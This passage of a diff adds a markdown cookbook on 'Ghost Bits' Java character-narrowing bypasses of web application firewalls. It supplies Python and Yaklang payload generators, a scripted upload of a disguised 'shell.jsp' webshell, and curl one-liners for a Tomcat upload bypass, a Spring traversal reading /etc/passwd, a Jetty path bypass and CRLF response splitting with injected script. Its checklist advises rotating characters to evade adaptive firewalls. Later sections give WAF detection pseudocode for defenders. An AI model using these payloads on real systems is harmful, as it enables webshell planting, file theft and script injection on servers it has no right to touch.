+ print(ghost(0x6A, 0x96)) # 陪
239
+ print(ghost(0x40, 0x01)) # ŀ
240
+ ```
241
+
242
+ ### 3.2 Python — UTF-8 byte-level wire view
243
+
244
+ When the WAF inspects the raw HTTP body before any decoding, you usually
245
+ care about *what bytes show up on the wire*, not the printable form.
246
+
247
+ ```python
248
+ def wire_bytes(payload: str) -> bytes:
249
+ """UTF-8 bytes that travel on the wire."""
250
+ return payload.encode("utf-8")
251
+
252
+
253
+ def narrowed(payload: str) -> bytes:
254
+ """What the Java backend reconstructs after Family-A narrowing."""
255
+ return bytes(ord(ch) & 0xFF for ch in payload)
256
+
257
+
258
+ s = to_ghost("union select 1", "cjk")
259
+ print(wire_bytes(s).hex()) # what the WAF sees as bytes
260
+ print(narrowed(s)) # what Java reconstructs: b'union select 1'
261
+ ```
262
+
263
+ ### 3.3 Yaklang — for `poc.HTTP` and `fuzz`
264
+
265
+ ```yak
266
+ // 关键词: ghost bits, char to byte narrowing, payload generator
267
+ func ghost(targetByte, k) {
268
+ return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
269
+ }
270
+
271
+ // 关键词: ghost bits, batch substitution, latin/cjk charset
272
+ func toGhost(payload, charset) {
273
+ k = 0x01
274
+ if charset == "cjk" {
275
+ k = 0x96
276
+ }
277
+ out = ""
278
+ for ch in payload {
279
+ if int(ch) < 0x80 {
280
+ out += ghost(int(ch), k)
281
+ } else {
282
+ out += string(ch)
283
+ }
284
+ }
285
+ return out
286
+ }
287
+
288
+ // 关键词: ghost bits, Tomcat filename upload bypass
289
+ func tomcatFilenameGhost(originalName) {
290
+ return toGhost(originalName, "cjk")
291
+ }
292
+
293
+ shell = tomcatFilenameGhost("shell.jsp")
294
+ log.info("ghost filename: %s", shell)
295
+
296
+ // 关键词: ghost bits, poc.HTTP request demo
297
+ raw = `POST /upload HTTP/1.1
298
+ Host: target.example
299
+ Content-Type: multipart/form-data; boundary=----GB
300
+ Content-Disposition: form-data; name="file"; filename*="UTF-8''` + shell + `"
301
+
302
+ webshell-payload-bytes
303
+ ------GB--
304
+ `
305
+ rsp, req, err = poc.HTTP(raw, poc.timeout(10), poc.https(false))
306
+ if err != nil {
307
+ log.error("upload request failed: %v", err)
308
+ }
309
+ ```
310
+
311
+ ### 3.4 Curl one-liners (Latin variants only — copy-paste safe)
312
+
313
+ ```bash
314
+ # Tomcat filename* upload bypass
315
+ curl -k -X POST "https://target/upload" \
316
+ -H 'Content-Type: multipart/form-data; boundary=GB' \
317
+ --data-binary $'--GB\r\nContent-Disposition: form-data; name="file"; filename*=UTF-8\'\'shell.\xc5\xaasp\r\nContent-Type: application/octet-stream\r\n\r\n<%@ page import="java.util.*" %>\r\n--GB--\r\n'
318
+
319
+ # Spring URL traversal via 阮 (UTF-8 E9 98 AE)
320
+ curl -k "https://target/api/data?file=$(printf '\xe9\x98\xae\xe9\x98\xae\xe9\x98\xafetc\xe9\x98\xafpasswd')"
321
+
322
+ # Jetty %2> hex folding bypass
323
+ curl -k "https://target/setup/setup-s/%2%3E%2%3E/log.jsp"
324
+
325
+ # JDK HttpServer CRLF response splitting (CVE-2026-21933)
326
+ curl -k --get "https://target/echo" \
327
+ --data-urlencode 'ref=Cu\xe7\x98\x8d\xe7\x98\x8aContent-Type: text/html\xe7\x98\x8d\xe7\x98\x8aContent-Length: 33\xe7\x98\x8d\xe7\x98\x8a\xe7\x98\x8d\xe7\x98\x8a<script>alert(1)</script>'
328
+ ```
329
+
330
+ `Ū` = `\xc5\xaa` (UTF-8 of U+016A, low byte 0x6A = `j`).
331
+ `阮` = `\xe9\x98\xae` (UTF-8 of U+962E, low byte 0x2E = `.`).
332
+ `阯` = `\xe9\x98\xaf` (UTF-8 of U+962F, low byte 0x2F = `/`).
333
+ `瘍` = `\xe7\x98\x8d`, `瘊` = `\xe7\x98\x8a` (CRLF).
334
+
335
+ ---
336
+
337
+ ## 4. WAF / IDS DETECTION PSEUDOCODE
338
+
339
+ For blue team, an effective Ghost-Bits-aware WAF rule emulates what the
340
+ backend would see. The minimal viable approach is multi-view inspection:
341
+
342
+ ```python
343
+ DANGEROUS_TOKENS_REGEX = compile_dangerous_tokens() # ../, @type, etc.
344
+
345
+ def normalize_views(buf: bytes) -> dict:
346
+ s = buf.decode("utf-8", errors="replace")
347
+ return {
348
+ "raw": s,
349
+ "low_byte": "".join(chr(ord(c) & 0xFF) for c in s),
350
+ "fullwidth_nfkc": unicodedata.normalize("NFKC", s),
351
+ "url_decoded": strict_url_decode(s),
352
+ "url_lax_hex": lax_hex_url_decode(s), # mimic Jetty fromHexDigit
353
+ "u_escape": unescape_u_escapes(s),
354
+ "x_escape": unescape_x_escapes(s), # mimic Fastjson \x default 0
355
+ "base64_low": decode_base64_low_byte(s),
356
+ }
357
+
358
+
359
+ def detect(buf: bytes) -> Alert | None:
360
+ views = normalize_views(buf)
361
+ for name, view in views.items():
362
+ if DANGEROUS_TOKENS_REGEX.search(view):
363
+ if name == "raw":
364
+ return Alert("classic", view, severity="high")
365
+ return Alert(f"ghost-bits:{name}", view, severity="high")
366
+ return None
367
+ ```
368
+
369
+ Strict implementations of the per-decoder helpers are the hard part:
370
+
371
+ ```python
372
+ def lax_hex_url_decode(s: str) -> str:
373
+ """Re-implement Jetty TypeUtil.fromHexDigit semantics."""
374
+ out = []
375
+ i = 0
376
+ while i < len(s):
377
+ c = s[i]
378
+ if c == "%" and i + 2 < len(s):
379
+ try:
380
+ hi = jetty_lax_hex(s[i+1])
381
+ lo = jetty_lax_hex(s[i+2])
382
+ if 0 <= hi <= 15 and 0 <= lo <= 15:
383
+ out.append(chr((hi << 4) | lo))
384
+ i += 3
385
+ continue
386
+ except Exception:
387
+ pass
388
+ out.append(c)
389
+ i += 1
390
+ return "".join(out)
391
+
392
+
393
+ def jetty_lax_hex(c: str) -> int:
394
+ x = (ord(c) & 0x1F) + ((ord(c) >> 6) * 25) - 16
395
+ return x # 0..15 for legal digits; also returns 14 for '>'
396
+ ```
397
+
398
+ WAF rule outline (high signal, low false positive):
399
+
400
+ ```
401
+ ALERT IF:
402
+ DANGEROUS_TOKEN matches in { low_byte_view UNION url_lax_hex_view UNION u_escape_view }
403
+ AND DANGEROUS_TOKEN does NOT match in raw_view
404
+ ```
405
+
406
+ The "subtraction" against `raw_view` filters out legitimate fullwidth /
407
+ international content while still catching every Family A / B / C bypass.
408
+
409
+ ---
410
+
411
+ ## 5. RAPID VERIFICATION CHECKLIST
412
+
413
+ Use this checklist on a reachable Java target before declaring "no Ghost
414
+ Bits surface":
415
+
416
+ ```
417
+ [ ] One Family A character substitution test, e.g. replace one '/' with '阯'
418
+ in a known endpoint -> compare 200/302/404 against a "neutral X" baseline.
419
+
420
+ [ ] One Family B test: replace one '%XX' triplet with '%X>' or '%X^' on a
421
+ URL path -> compare to baseline.
422
+
423
+ [ ] One Family C test: send a JSON body with one fullwidth digit inside a
424
+ Unicode escape, e.g. '\u\uFF12000' (0x2030 instead of 0x2030 ASCII) ->
425
+ compare to baseline.
426
+
427
+ [ ] If any of the above produces a body / status / length / timing
428
+ difference, switch to the per-recipe payload from SKILL section 5.
429
+
430
+ [ ] Always log the candidate `k` per substitution; rotate `k` between runs
431
+ so adaptive WAFs cannot signature on a single character.
432
+ ```
433
+
434
+ ---
435
+
436
+ ## 6. REFERENCES
437
+
438
+ - *Cast Attack: A New Threat Posed by Ghost Bits in Java*, Black Hat Asia
439
+ 2026 — Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), contributor Zongzheng
440
+ Zheng (@chun_springX).
441
+ - Vendor advisories: GeoServer GHSA-6jj6-gm7p-fcvv (CVE-2024-36401),
442
+ Spring CVE-2022-22965 (`spring.io/security/cve-2022-22965`), Apache
443
+ Commons BCEL 6.12.0 release notes, Apache HttpClient 4.5.10 / 5.x
444
+ migration notes.
445
+ - Distillation source: gm7.org public advisory + HackTwoHub deep-dive
446
+ reproduction of the 56-page slide deck. No customer or vendor-private
447
+ artifacts are included; everything in this Cookbook is built from public
448
+ research and verifiable Unicode arithmetic.